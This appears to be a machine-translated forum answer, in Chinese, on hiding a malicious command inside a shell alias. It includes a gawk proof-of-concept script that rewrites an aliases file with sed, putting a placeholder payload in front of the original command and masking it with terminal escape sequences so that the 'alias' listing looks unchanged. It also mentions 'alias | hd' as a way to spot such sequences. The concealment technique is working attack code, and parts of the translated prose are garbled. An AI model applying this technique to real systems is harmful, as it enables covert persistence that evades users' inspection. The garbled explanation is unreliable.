Den*_*son 13
如果该alias命令用于显示别名定义,则可以通过将现有别名附加到恶意别名并使用光标移动来隐藏它来实现这一点。这不是一个完美的万无一失的方法,但它可能会在一段时间内未被发现。管道alias通过hd会告诉你是否有你的别名任何转义序列(光标移动)。以下是如何将恶意命令插入别名的概念证明:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
Run Code Online (Sandbox Code Playgroud)
sed命令修改了一个名为“别名”的文件 - 这种类型的真实脚本将进入喉咙并修改真实脚本文件,以便下次执行时激活恶意别名。hide作为参数执行,因此可以想象,您可能会收到与此问题中报告的错误类似的错误。可能会反转原始部分和恶意部分以影响这一点,尽管这会干扰向别名提供的参数。在上面的脚本中尝试用 标记参数的结尾--。&&,你可以管一到下,使恶意脚本(以上由简单表示echo命令)功能作为一个stdin以stdout直通的,以改变,因为它是要跨越或隐藏数据的通过不干扰其他重定向来进一步存在hide字符串可以被修改为包括不同的光标移动和原来的别名的文本,以便将alias命令似乎表明未修改的别名,而不是隐藏它的恶意一部分沿。. aliases. 然后,您可以尝试使用受影响的别名,并查看使用时的外观alias|hd。